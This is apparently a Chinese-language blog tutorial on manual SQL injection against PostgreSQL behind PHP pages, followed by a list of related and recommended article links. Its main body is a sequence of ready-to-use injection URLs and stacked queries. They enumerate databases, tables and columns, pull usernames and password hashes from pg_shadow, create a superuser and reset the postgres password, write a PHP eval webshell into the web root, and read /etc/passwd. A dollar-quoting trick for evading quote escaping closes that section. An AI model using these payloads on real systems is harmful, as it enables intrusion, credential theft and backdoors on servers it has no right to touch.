一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不一样,根据数据库的处理能力、负载等多重因素决定。本文主要述说下关于少见的一类数据库注入:PostgreSQL。

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),可以说是目前世界上最先进,功能最强大的自由数据库管理系统。Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: http://www.postgresql.org/docs/9.2/static/sql-syntax.html (注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的)。

了解PostgreSQL

1.同其他数据库一致,SQL语句基本一致
2.支持/*、/**/、–注释,;和\g表示语句结束
3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义
4.无法自动匹配字段
5.web管理程序为phpPgAdmin
6.开放的默认端口为5432

PostgreSQL注入语句

http://xxx/1.php?id=1+order+by+x--     //order by猜字段数

http://xxx/1.php?id=1+and+1::int=1--     //判断postgresql数据库

http://xxx/1.php?id=1+and+1=cast(version() as int)--    //通过cast类型转换来暴postgresql信息

http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--     //全部用null填充 方便在测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,null,null,null--     //测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,version(),null,4--   //当前PostgreSQL版本

http://xxx/1.php?id=1+and+1=2+union+select+1,null,user,null,4--   //当前用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_schema(),null,4--   //当前用户权限

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_database(),null,4--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--   //当前数据库名字

http://xxx/1.php?id=1+and+1=2+union+select+1,null,csession_user,null,4--   //会话用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_user,null,4--

http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)--   //目前执行环境下的用户名

http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--   //到所有用户表,修改offset后面的
或(加入relkind=’r’,只查询普通表)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--   //得到表名为xxx的oid值
或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,cast(oid+as+varchar(10)),null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--     //读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
或(利用对应表名为xxx的oid值)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,attname,null,4+from+pg_attribute+where+attrelid=oid值+limit+1+offset+0–

http://xxx/1.php?id=1+and+1=2+union+select+1,null,usename||chr(124)||passwd,null,4+from+pg_shadow+limit+1+offset+0--   //数据库用户的信息pg_shadow(pg_shadow 关键字段username、passwd和usesuper,不过此表被做了权限设置)

postgres用户

注:postgres用户权限相当于mysql的root用户权限

新建用户(user=polar1dear,pwd=polar1dear)

;create+user+polar1dear+with+superuser+password+'polar1dear'--

修改postgres用户密码

;alter+user+postgres+with+password+'polar1dear'--

遍历当前数据库全部表

select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--

读、写文件

通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。

1.写文件(主要用于写后门)

http://xxx/1.php?id=1;create table polar1dear(shell text not null);   //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php';   ////导出为xxx.php文件

则后门为:http://xxx/xxx.php
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’

2.读文件

http://xxx/1.php?id=1;create table polar1dear(file text not null);     //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd';   //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear;   //查询

转义绕过

如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义,如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题,而在PostgreSQL中除此之外还提供了一种新的方法来绕过。在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。

PostgreSQL注入基础的更多相关文章

  1. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  2. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  3. Java Web系列:Spring依赖注入基础

    一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...

  4. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  5. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  6. postgresql架构基础(转)-(1)

    PostgreSQL使用一种客户端/服务器的模型.一次PostgreSQL会话由下列相关的进程(程序)组成: 一个服务器进程,它管理数据库文件.接受来自客户端应用与数据库的联接并且代表客户端在数据库上 ...

  7. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  8. WEB安全基础之sql注入基础

    1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...

  9. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

随机推荐

  1. redist命令操作(三)--集合Set,有序集合ZSet

    1.Redis 集合(Set) 参考菜鸟教程:http://www.runoob.com/redis/redis-sets.html Redis 的 Set 是 String 类型的无序集合.集合成员 ...

  2. [转]pycharm 2016.2注册码

    在网上找了好多都不行,最后还是这个好使.在网上搜索了半天挨个试过来最终找到了License server的方法,由此分享给大家.这个也完全没有使用时间的限制~ 直接打开pycharm,选License ...

  3. python 字典 dict 该注意的一些操作

    在用python处理dict 的时候,有几个该注意的地方,这里跟大家提一下: 1)操作dict 时,尽量少产生新的列表对象.比如: 遍历dict的时候,如果用 dic = {"a" ...

  4. Oracle DB管理内存

    • 描述SGA 中的内存组件• 实施自动内存管理• 手动配置SGA 参数• 配置自动PGA 内存管理  内存管理:概览DBA 必须将内存管理视为其工作中至关重要的部分,因为:• 可用内存空间量有限• ...

  5. 调用 js 生成图片二维码

    一.js 生成二维码: 首先,需要引用 jQuery 和 jquery.qrcode.js.然后: //生产二维码 $("#qrcodeCanvas").qrcode({ rend ...

  6. C#中,子类构造函数调用父类父类构造函数的正确方式

    正确调用的方式是:

  7. 转:为什么根据IP地址查询物理所在地,而不是mac地址?

    来自 https://mp.weixin.qq.com/s/aOZQGMnMI2nkX4-qcJL4WQ 读者 不是说mac地址是计算机网卡唯一的地址吗?这样不是可以直接定位到某一台机器吗?为什么要用 ...

  8. Response重定向实现参数隐藏

    最近在弄一个SSH项目,前期已经做好了,现在的需求是进行单点登陆实现,涉及到重定向跳转(带有参数那种)情况,但是不能在地址栏上出现参数的信息,需要进行参数的隐藏跳转.由于时间比较急,本人没来得及开发一 ...

  9. web前端学习python之第一章_基础语法(一)

    web前端学习python之第一章_基础语法(一) 前言:最近新做了一个管理系统,前端已经基本完成, 但是后端人手不足没人给我写接口,自力更生丰衣足食, 所以决定自学python自己给自己写接口哈哈哈 ...

  10. Gulp 之图片压缩合并

    同事需要处理很多的图片,由于UI那边提供图片比较大,为了性能好一点,程序包小一点,因此希望我帮忙做成小程序来完成此工作. 其实之前做过一个grunt写的图片压缩合并工具,当时是为了处理270多个国家/ ...